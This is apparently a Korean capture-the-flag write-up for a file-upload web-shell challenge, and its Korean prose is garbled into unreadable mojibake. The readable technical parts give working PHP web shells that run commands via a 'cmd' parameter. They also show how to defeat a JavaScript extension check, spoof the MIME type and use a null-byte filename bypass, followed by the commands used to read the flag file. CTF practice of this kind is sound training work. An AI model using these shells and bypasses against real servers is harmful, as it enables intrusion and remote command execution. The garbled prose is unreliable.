[SegFault] (File Vuln)
Web Shell 2
Web ์๋ฒ ๋ด์์ flag.txt ํ์ผ์ ์ฐพ์๋ด๋ผ!
๋ฌธ์ ํ์
๋ณธ ๋ฌธ์ ๋ File Vulnerability์ ๊ดํ ๋ฌธ์ ๋ก์, 'Server Side Script' File, ์ฆ ์น ์(Web Shell)์ Upload ํ๊ณ , ํด๋น ์น ์์ ์ ๋ก๋ ์์น๋ฅผ ์ฐพ์ ์คํ ์์ผ flag.txt ํ์ผ์ ์ฐพ๋ ๋ฌธ์ ์ด๋ค.
Vuln Point
๊ฒ์ํ์ ๊ธ์ฐ๊ธฐ ๊ธฐ๋ฅ์์ ํ์ผ ์ ๋ก๋ ์์ javascript์์ ํ์ดํธ๋ฆฌ์คํธ ๋ฐฉ์์ ์ด์ฉํ์ฌ ํ์ฅ์์ ์ ํ์ ๋๊ณ ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
<script type="text/javascript">
function checkFileExtension(fileName) {
var reg = /(.*?)\.(jpg|jpeg|png|gif|bmp|txt)$/;
var allowedExtensions = /(\.jpg|\.jpeg|\.png|\.gif)$/i;
if(fileName==""){return true;}
if(!allowedExtensions.exec(fileName)) {
alert('์
๋ก๋ํ ์ ์๋ ํ์ฅ์์ ํ์ผ์
๋๋ค.');
writeFrm.upload_file.value = '';
return false;
}else{
return true;
}
return true;
}
</script>
์์ ๊ฐ์ด ํ์ฉ๋ ํ์ฅ์ ์ด์ธ์ ํ์ฅ์๋ฅผ ๋ง๊ณ ์๋ ๊ฒ์ด๋ค. ํ์ง๋ง javascript๋ก์ ํ์ฅ์ ์ ํ์ ์ฐํ๊ฐ ๊ฐ๋ฅํ๋ค.
ํ์ด ๊ณผ์ (ํด๊ฒฐ ๋ฐฉ์)
ํ์ค ์น ์
๊ธฐ๋ณธ์ ์ธ ํ ์ค ์น์์ ๋ค์๊ณผ ๊ฐ๋ค.
<?php
echo system($_GET['cmd']);
?>
์์ ๊ฐ์ ๊ฐ๋จํ ์น ์์ ์ฌ์ฉํ๋ ๊ฒ์ด ์ผ๋ฐ์ ์ด์ง๋ง, ๋ธ๋ผ์ฐ์ ์์ ํ ์คํธํ๊ธฐ ํธํ๋๋ก ์๋์ ๊ฐ์ด ์์ ํ ์น ์ ์ฝ๋๋ฅผ ์ฌ์ฉํ ๊ฒ์ด๋ค.
์ฌ์ฉํ ์น ์ ์ฝ๋
์ฌ์ฉํ๊ธฐ ํธํ๋๋ก ์์ ํ ์น ์ ์ฝ๋์ด๋ค.
<?php
echo 'Enter a Command:<br>';
echo '<form action="" method="get">';
echo '<input type="text" name="cmd">';
echo '<input type="submit">';
echo '</form>';
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}
?>
์น ์ ์ ๋ก๋
๊ฒ์ํ์ ์ ๋ก๋ ๊ธฐ๋ฅ์์ ํ์ฅ์ ๊ฒ์ฆ์ด ์ด๋ฃจ์ด์ง๊ณ ์์ด์ (.php) ํ์ผ์ ์ ๋ก๋๋ ๋ถ๊ฐ๋ฅํ๋ค.
ํ์ง๋ง ์ด๊ฒ์ ์ฐํํ๋ ๋ฐฉ๋ฒ์ด ์กด์ฌํ๋ค.
1. javascript ์์
์์ ์ฝ๋๋ฅผ ๋ณด๋ฉด ํ์ฉ๋ ํ์ฅ์ ์ด์ธ์ ํ์ฅ์์ ๊ฒฝ์ฐ false๋ฅผ ๋ฐํํด์ฃผ๊ณ , ํ์ฉ๋ ํ์ฅ์์ ํํด์๋ง true๋ฅผ ๋ฐํํด์ฃผ๊ณ ์๋ค. ์ฆ, true๊ฐ ๋ฐํ๋๊ธฐ๋ง ํ๋ฉด ํ์ฅ์ ๊ฒ์ฆ์ ์ฐํํ ์ ์๋ค๋ ๊ฒ์ด๋ค.
1-2. ๋ฐํ ๊ฐ ์์
if(!allowedExtensions.exec(fileName)) {
alert('์
๋ก๋ํ ์ ์๋ ํ์ฅ์์ ํ์ผ์
๋๋ค.');
writeFrm.upload_file.value = '';
return false;
}
์์ ํ์ฉ๋์ง ์์ ํ์ฅ์ ๋ถ๋ถ์์ false๋ฅผ ๋ฐํํด์ฃผ๊ณ ์์ง๋ง javascript ์์ ์ ํตํด ๋ค์๊ณผ ๊ฐ์ด ๋ฐ๊ฟ์ค๋ค๋ฉด ์ฐํ๊ฐ ๊ฐ๋ฅํ๋ค.
if(!allowedExtensions.exec(fileName)) {
//alert('์
๋ก๋ํ ์ ์๋ ํ์ฅ์์ ํ์ผ์
๋๋ค.');
//writeFrm.upload_file.value = '';
return true;
}
ํ์ฉ๋์ง ์์ ํ์ฅ์๊ฐ ๋ค์ด์๋ true๋ฅผ ๋ฐํํ๋๋ก ํ๋ ๊ฒ์ด๋ค.
1-2. javascript ํ์ฅ์ ์ถ๊ฐ
javascript์ ํ์ฉ๋ ํ์ฅ์ ๋ถ๋ถ์ ์ํ๋ ํ์ฅ์๋ฅผ ์ถ๊ฐํ๋ ๋ฐฉ๋ฒ์ด ์๋ค.
var reg = /(.*?)\.(jpg|jpeg|png|gif|bmp|txt)$/;
var allowedExtensions = /(\.jpg|\.jpeg|\.png|\.gif)$/i;
์์ ๊ฐ์ด ํ์ฉ๋ ํ์ฅ์๊ฐ ์ ํ๋์ด ์๋ ๊ฒ์ .php๋ฅผ ์ถ๊ฐํ๋ฉด ๋๋ค.
2. MIME Type ์์
MIME (multipurpose internet mail extensions)
์ด๋ฏธ์ง ํ์ผ์ ๋ฐ์ด๋๋ฆฌ ๊ฐ์ผ๋ก ์ด๋ฃจ์ด์ ธ ์์ด ํ ์คํธ๋ก ์ธ์ฝ๋ฉํ์ฌ ๋ณด๋ด์ผ ๋ฐ์ดํฐ๊ฐ์ ์ฃผ๊ณ ๋ฐ์ ์ ์๋ค.
๊ทธ๋์ ๊ณต๊ฒฉ์ ์ํ ํ์ผ ์ ๋ก๋๋ฅผ ํ ๋ content-type์ ๋ง๊ฒ ์์ ํด์ผ ํ๋ค.
php ํ์ผ์ด ์ ๋ก๋ ๋๋ ๊ฒฝ์ฐ Content-Type์ text/php๋ผ๊ณ ์ฌ๋ผ๊ฐ๊ฒ ๋๋ค. ์ด๊ฒ์ ์์ ํ์ฌ ์ ๋ก๋๊ฐ ๊ฐ๋ฅํ image/png ์ ๊ฐ์ด ๋ณ์กฐํด์ฃผ๋ ๋ฐฉ๋ฒ์ด ์๋ค.
3. ํ์ฅ์ ์์ด๊ธฐ NULL
NULL Byte ' %00 ' ๋ฅผ ์ด์ฉํ๋ ๋ฐฉ๋ฒ์ด๋ค.
๋ณธ ๋ฌธ์ ์ ํ์ฅ์ ๊ฒ์ฆ์ ํ์ผ๋ช ์ ๋ง์ง๋ง .png ์ ๊ฐ์ ํ์ฅ์๋ฅผ ์ธ์ํ๊ฒ ๋์ด ์๋ค.
๊ทธ๋ฌ๋ฏ๋ก NULL Byte๋ฅผ ์ด์ฉํ๋ฉด ์ฐํ๊ฐ ๊ฐ๋ฅํ ๊ฒ์ด๋ค.
web_shell.php%00.png
์์ ๊ฐ์ด NULL Byte๋ฅผ ์ด์ฉํ๋ฉด ํ์ฅ์๊ฐ .png ์ฒ๋ผ ๋ณด์ด์ง๋ง ์ค์ ๋ก๋ %00๊ฐ์ด NULL ์ด๊ธฐ ๋๋ฌธ์ ๊ทธ ๋ท๋ถ๋ถ์ด ๋ ์๊ฐ๊ณ web_shell.php๋ง ๋จ๊ฒ ๋๋ ๊ฒ์ด๋ค.
๋ฌธ์ ํด๊ฒฐ์๋ ์ด ๋ฐฉ์์ ์ฌ์ฉํ ๊ฒ์ด๋ค.
์ ๋ก๋ ํ์ผ ์์น
์์ ์น ์์ ์ ๋ก๋ ํ ํ, ๋ค์ด๋ก๋ ๋งํฌ๋ฅผ ํ์ธํ๋ฉด ๊ฒฝ๋ก๋ ๋ค์๊ณผ ๊ฐ๋ค.
http://ctf.segfaulthub.com:7979/webshell_2/web_shell.php%00.png
์ด๊ฒ๋ง ๋ณด๊ณ ๋ ๊ฒฝ๋ก๋ฅผ ์ ์๊ฐ ์๋๋ฐ, ๋๋ ํฐ๋ฆฌ ์ธ๋ฑ์ฑ ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ค.
Index of /webshell_2/files/gear/
์ด๋ฅผ ์ด์ฉํ์ฌ ์์๊ฐ์ ๊ฒฝ๋ก์ ํ์ผ์ด ์กด์ฌํ๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
์น ์ ์คํ
http://ctf.segfaulthub.com:7979/webshell_2/files/gear/web_shell.php%00.png
NULL Byte๋ฅผ ์ด์ฉํ์ฌ ์ ๋ก๋์์ ํ์ผ๋ช ์ ์์๊ธฐ ๋๋ฌธ์ ์์ ๊ฐ์ด ์ ๋ ฅํ๋ฉด ํ์ผ์ด ์๋ค.
ํ์ผ์ด ์ ๋ก๋ ๋๋ฉด์ %00๋ค์ .png๊ฐ %00(=NULL)๊ณผ ํจ๊ป ๋ ์๊ฐ๊ธฐ ๋๋ฌธ์ ํ์ผ๋ช ์ด ์ค์ ๋ก๋ web_shell.php๊ฐ ๋์๊ธฐ ๋๋ฌธ์ด๋ค.
๊ทธ๋ ๊ธฐ ๋๋ฌธ์ web_shell.php%00.png ๊ฐ ์๋๋ผ web_shell.php์ ์ ๋ ฅํด์ค์ผ ํ๋ค.
http://ctf.segfaulthub.com:7979/webshell_2/files/gear/web_shell.php
์์ ๊ฐ์ด ์ ๋ ฅํ๋ฉด ์ฑ๊ณต์ ์ผ๋ก ์น ์๋ก์ ์ ๊ทผ์ด ๊ฐ๋ฅํ๋ค.
flag ์ฐพ๊ธฐ
์์ ์น ์์ ํตํด flag๋ฅผ ์ฐพ์์ผํ๋ค.
dir ../../
์์ ๊ฐ์ด ์ ๋ ฅํ์ฌ ์ด๋ค ๋๋ ํฐ๋ฆฌ๋ค์ด ์๋์ง ํ์ธํด๋ณธ ๊ฒฐ๊ณผ secret_file ์ด๋ผ๋ ๋๋ ํ ๋ฆฌ๊ฐ ๋ณด์ธ๋ค.
dir ../../secret_file
์์ ๊ฐ์ด ์ ๋ ฅํ์ฌ ํด๋น ๋๋ ํฐ๋ฆฌ ๋ด๋ถ๋ฅผ ํ์ธํด๋ณธ ๊ฒฐ๊ณผ flag.txtํ์ผ์ด ์กด์ฌํ๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
๋ด์ฉ์ ํ์ธํ๊ธฐ ์ํด cat ๋ช ๋ น์ด๋ฅผ ์ด์ฉํ๋ค.
cat ../../secret_file/flag.txt
์์ ๊ฐ์ด ์ ๋ ฅํ ๊ฒฐ๊ณผ flag๋ฅผ ํ๋ํ ์ ์์๋ค.
์๊ฐํด ๋ณผ ์
find ๋ช ๋ น์ด
find ๋ช ๋ น์ด๋ฅผ ์ด์ฉํ์ฌ ์ฐพ์ ์๋ ์์๊ฒ ์ง๋ง, ํด๋น ๋ช ๋ น์ด๋ฅผ ์ด์ฉํ๋ ค๋ฉด ์ฐพ์ผ๋ ค๋ ํ์ผ์ ์ด๋ฆ์ ํ์คํ๊ฒ ์๊ณ ์๋ ๊ฒฝ์ฐ์๋ง ๊ฐ๋ฅํ๊ธฐ ๋๋ฌธ์ ์ง์ ์ฐพ์๋ณด๋ ๋ฐฉ์์ ์ ํํ์๋ค.
find ๋ช ๋ น์ด๋ฅผ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ๋ ๋ค์๊ณผ ๊ฐ๋ค.
find / -name flag.txt
์ ๋ก๋ ์ฐํ
ํ์ฅ์๊ฐ ์ ํ๋์ด ์์ ๋ ์ ๋ก๋ ๊ฐ๋ฅํ ๋ฐฉ์์ ๋ํ์ฌ ์ฌ๋ฌ๊ฐ์ง๋ก ์์๋ด์ผ, ๋ณธ ๋ฌธ์ ์ ๊ฐ์ด ์ ๋ก๋๊ฐ ๊ฐ๋ฅํ๋ค๋ ๊ฒ์ ์ธ์งํด์ผ ํ๋ค.
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์